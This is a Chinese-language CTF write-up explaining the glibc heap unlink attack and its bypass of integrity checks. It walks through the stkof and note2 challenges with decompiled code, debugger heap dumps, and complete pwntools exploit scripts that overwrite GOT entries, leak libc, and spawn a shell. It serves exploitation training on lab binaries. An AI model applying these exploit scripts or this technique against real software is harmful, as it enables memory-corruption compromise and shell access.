Unlink

admin 2022年1月6日01:11:46评论43 views字数 17347阅读57分49秒阅读模式

原理

我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下

image-20210922154910245

下面我们首先介绍一下 unlink 最初没有防护时的利用方法,然后介绍目前利用 unlink 的方式。

在最初 unlink 实现的时候,其实是没有对 chunk 的 size 检查和双向链表检查的,即没有如下检查代码。

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

这里我们以 32 位为例,假设堆内存最初的布局是下面的样子

img

现在有物理空间连续的两个 chunk(Q,Nextchunk),其中 Q 处于使用状态、Nextchunk 处于释放状态。那么如果我们通过某种方式(比如溢出)将 Nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们 free(Q) 时

  • glibc 判断这个块是 small chunk
  • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  • 继而对 Nextchunk 采取 unlink 操作

那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下

  • FD=P->fd = target addr -12
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr-12+12)=BK=expect value
  • BK->fd = FD,即 *(expect value +8) = FD = target addr-12

看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。

比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。需要注意的是,expect value+8 处的值被破坏了,需要想办法绕过。

但是,现实是残酷的。。我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

此时

  • FD->bk = target addr - 12 + 12=target_addr
  • BK->fd = expect value + 8

那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。但是我们可以通过伪造的方式绕过这个机制。

首先我们通过覆盖,将 nextchunk 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,我们需要

  • fakeFD -> bk == P <=> *(fakeFD + 12) == P
  • fakeBK -> fd == P <=> *(fakeBK + 8) == P

当满足上述两式时,可以进入 Unlink 的环节,进行如下操作:

  • fakeFD -> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
  • fakeBK -> fd = fakeFD <=> *(fakeBK + 8) = fakeFD

如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向 P 的指针,那么:

  • *P = P - 8
  • *P = P - 12

即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。

如果我们想要使得两者都指向 P,只需要按照如下方式修改即可

img

需要注意的是,这里我们并没有违背下面的约束,因为 P 在 Unlink 前是指向正确的 chunk 的指针。

// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \

此外,其实如果我们设置 next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。

利用思路

条件

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。

例题 2014 HITCON stkof

题目链接

查看基本信息如下

image-20210813094617281

image-20210813094626102

可以看出程序为64位 主要开启了 Canary和NX保护

Partial RELRO,可以修改got表

基本功能如下

程序存在 4 个功能,经过 IDA 分析后可以分析功能如下

  • alloc:输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 global
  • read_in:根据指定索引,向分配的内存处读入数据,数据长度可控,这里存在堆溢出的情况
  • free:根据指定索引,释放已经分配的内存块
  • useless:这个功能并没有什么卵用,本来以为是可以输出内容,结果什么也没有输出

函数信息如下

main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int choice; // eax
signed int v5; // [rsp+Ch] [rbp-74h]
char nptr; // [rsp+10h] [rbp-70h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]

v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(&nptr, 10, stdin) )
{
choice = atoi(&nptr);
if ( choice == 2 )
{
v5 = fill();
goto LABEL_14;
}
if ( choice > 2 )
{
if ( choice == 3 )
{
v5 = free_chunk();
goto LABEL_14;
}
if ( choice == 4 )
{
v5 = print();
goto LABEL_14;
}
}
else if ( choice == 1 )
{
v5 = alloc();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}

用于控制数据流将 stdin转化为整型,根据输入的调用不同函数

输入1即进入alloc()函数

signed __int64 alloc()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
globals[++cnt] = v2;
printf("%d\n", (unsigned int)cnt, size);
return 0LL;
}

将stdin转换为整型作为size,然后malloc堆空间,返回的地址根据索引存入globals,且有++cnt,因此索引从1开始。

输入2即进入fill()函数

signed __int64 fill()
{
signed __int64 result; // rax
int i; // eax
unsigned int idx; // [rsp+8h] [rbp-88h]
__int64 size; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
idx = atol(&s);
if ( idx > 1048576 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = globals[idx];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}

根据索引在globals数组获取地址,并通过修改堆的内容,size可控并且没有限制长度,存在堆溢出漏洞。

输入3 进入free_chunk()函数

signed __int64 free_chunk()
{
unsigned int idx; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
idx = atol(&s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
free(globals[idx]);
globals[idx] = 0LL;
return 0LL

根据索引在globals数组获取地址,再free空间。

IO缓存区问题分析

值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。具体如下,可以进行调试查看

初次调用 fgets 时,malloc 会分配缓冲区 1024 大小。

*RAX  0x0
*RBX 0x400
*RCX 0x7ffff7b03c34 (__fxstat64+20) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x88
*RDI 0x400
*RSI 0x7fffffffd860 ◂— 0x16
*R8 0x1
*R9 0x0
*R10 0x7ffff7fd2700 ◂— 0x7ffff7fd2700
*R11 0x246
*R12 0xa
*R13 0x9
R14 0x0
*R15 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
*RBP 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
*RSP 0x7fffffffd858 —▸ 0x7ffff7a7a1d5 (_IO_file_doallocate+85) ◂— mov rsi, rax
*RIP 0x7ffff7a91130 (malloc) ◂— push rbp
─────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
► 0x7ffff7a91130 <malloc> push rbp <0x7ffff7dd18e0>
...,省略
► f 0 7ffff7a91130 malloc
f 1 7ffff7a7a1d5 _IO_file_doallocate+85
f 2 7ffff7a88594 _IO_doallocbuf+52
f 3 7ffff7a8769c _IO_file_underflow+508
f 4 7ffff7a8860e _IO_default_uflow+14
f 5 7ffff7a7bc6a _IO_getline_info+170
f 6 7ffff7a7bd78
f 7 7ffff7a7ab7d fgets+173
f 8 400d2e
f 9 7ffff7a2d830 __libc_start_main+240

分配之后,堆如下

pwndbg> heap
Top Chunk: 0xe05410
Last Remainder: 0

0xe05000 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05410 PREV_INUSE {
prev_size = 0,
size = 134129,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

当分配 16 大小的内存后,堆布局如下

pwndbg> heap
Top Chunk: 0xe05430
Last Remainder: 0

0xe05000 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa3631,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05410 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20bd1
}
0xe05430 PREV_INUSE {
prev_size = 0,
size = 134097,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

当使用 printf 函数,会分配 1024 字节空间,如下

*RAX  0x0
*RBX 0x400
*RCX 0x7ffff7b03c34 (__fxstat64+20) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x88
*RDI 0x400
*RSI 0x7fffffffd1c0 ◂— 0x16
R8 0x0
*R9 0x0
*R10 0x0
*R11 0x246
*R12 0x1
*R13 0x7fffffffd827 ◂— 0x31 /* '1' */
R14 0x0
*R15 0x400de4 ◂— and eax, 0x2e000a64 /* '%d\n' */
*RBP 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2284
*RSP 0x7fffffffd1b8 —▸ 0x7ffff7a7a1d5 (_IO_file_doallocate+85) ◂— mov rsi, rax
*RIP 0x7ffff7a91130 (malloc) ◂— push rbp
─────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
► 0x7ffff7a91130 <malloc> push rbp <0x7ffff7dd2620>
。。。省略
► f 0 7ffff7a91130 malloc
f 1 7ffff7a7a1d5 _IO_file_doallocate+85
f 2 7ffff7a88594 _IO_doallocbuf+52
f 3 7ffff7a878f8 _IO_file_overflow+456
f 4 7ffff7a8628d _IO_file_xsputn+173
f 5 7ffff7a5ae00 vfprintf+3216
f 6 7ffff7a62899 printf+153
f 7 4009cd
f 8 400cb1
f 9 7ffff7a2d830 __libc_start_main+240

堆布局如下

pwndbg> heap
Top Chunk: 0xe05840
Last Remainder: 0

0xe05000 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa3631,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05410 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x411
}
0xe05430 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa4b4f,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05840 PREV_INUSE {
prev_size = 0,
size = 133057,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

此后,无论是输入输出都不会再申请缓冲区了。所以我们最好最初的申请一个 chunk 来把这些缓冲区给申请了,方便之后操作。

但是,比较有意思的是,如果我们是 attach 上去的话,第一个缓冲区分配的大小为 4096 大小。

pwndbg> heap
Top Chunk: 0x1e9b010
Last Remainder: 0

0x1e9a000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1e9b010 PREV_INUSE {
prev_size = 0,
size = 135153,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

基本思路

根据上面分析,我们在前面先分配一个 chunk 来把缓冲区分配完毕,以免影响之后的操作。

由于程序本身没有 leak,要想执行 system 等函数,我们的首要目的还是先构造 leak,基本思路如下

  • 利用 unlink 修改 global[2] 为 &global[2]-0x18。
  • 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
  • 修改 free@gotputs@plt 的地址,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
  • free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
  • 修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。

代码如下:

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')


def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')


def free(idx):
p.sendline('3')
p.sendline(str(idx))


def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)

# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)

# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')

# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)

# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)

# free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))

# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()


if __name__ == "__main__":
exp()

image-20210813112557290

image-20210813112630353

2016 ZCTF note2

题目链接

分析程序

首先,我们先分析一下程序,可以看出程序的主要功能为

  • 添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。
  • 展示 note 内容。
  • 编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。
  • 释放 note。

仔细分析后,可以发现程序有以下几个问题

  1. 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
  2. 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。

第一个问题对应在 ida 中的代码如下

unsigned __int64 __fastcall ReadStr(char *s, __int64 len, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

v4 = a3;
for ( i = 0LL; len - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
s[i] = buf;
}
s[i] = 0;
return i;
}

其中 i 是 unsigned 类型,a2 为 int 类型,所以两者在 for 循环相比较的时候,a2-1 的结果 - 1 会被视为 unsigned 类型,此时,即最大的整数。所以说可以读取任意长度的数据,这里也就是后面我们溢出所使用的办法。

基本思路

这里我们主要利用发现的第一个问题,主要利用了 fastbin 的机制、unlink 的机制。

下面依次进行讲解。

基本操作

首先,我们先把 note 可能的基本操作列举出来。

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)


def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))


def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)


def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))

生成三个note

构造三个 chunk,chunk0、chunk1 和 chunk2

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

其中这三个 chunk 申请时的大小分别为 0x80,0,0x80,chunk1 虽然申请的大小为 0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该 note 输入任意长的字符串。

这里需要注意的是,chunk0 中一共构造了两个 chunk

  • chunk ptr[0],这个是为了 unlink 时修改对应的值。
  • chunk ptr[0]’s nextchunk,这个是为了使得 unlink 时的第一个检查满足。
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \

当构造完三个note后,堆的基本构造如下图1所示。

                                   +-----------------+ high addr
| ... |
+-----------------+
| 'b'*8 |
ptr[2]-----------> +-----------------+
| size=0x91 |
+-----------------+
| prevsize |
+-----------------|------------
| unused |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
+-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图1

释放 chunk1 - 覆盖 chunk2 - 释放 chunk2

对应的代码如下

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)

首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2,覆盖之后如图 2 所示。

                                   +-----------------+high addr
| ... |
+-----------------+
| '\x00'+'b'*7 |
ptr[2]-----------> +-----------------+ chunk 2
| size=0x90 |
+-----------------+
| 0xa0 |
+-----------------|------------
| 'a'*8 |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
+-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图2

该覆盖主要是为了释放 chunk2 的时候可以后向合并(合并低地址),对 chunk0 中虚拟构造的 chunk 进行 unlink。即将要执行的操作为 unlink(ptr[0]),同时我们所构造的 fakebk 和 fakefd 满足如下约束

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \

unlink 成功执行,会导致 ptr[0] 所存储的地址变为 fakebk,即 ptr-0x18。

获取 system 地址

代码如下

# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

sh.recvuntil('is ')
atoi_addr = sh.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

我们修改 ptr[0] 的内容为 ptr 的地址 - 0x18,所以当我们再次编辑 note0 时,可以覆盖 ptr[0] 的内容。这里我们将其覆盖为 atoi 的地址。 这样的话,如果我们查看 note 0 的内容,其实查看的就是 atoi 的地址。

之后我们根据 libc 中对应的偏移计算出 system 的地址。

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)

由于此时 ptr[0] 的地址 got 表的地址,所以我们可以直接修改该 note,覆盖为 system 地址。

get shell

# get shell
sh.recvuntil('option--->>')
sh.sendline('/bin/sh')
sh.interactive()

此时如果我们再调用 atoi ,其实调用的就是 system 函数,所以就可以拿到 shell 了。

exp

#coding=utf-8
from pwn import *

io = remote('node3.buuoj.cn',26189)
#io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23-64.so")

#context.log_level = "debug"


def new_note(size, content):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil(")")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def show_note(index):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(index))

def edit_note(index, choice, content):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil("]")
io.sendline(str(choice))
io.recvuntil(":")
io.sendline(content)

def delete_note(index):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(index))

io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")

ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2) #unlink
#gdb.attach(io)
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')

io.interactive()

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:11:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Unlinkhttp://cn-sec.com/archives/721344.html

发表评论

匿名网友 填写信息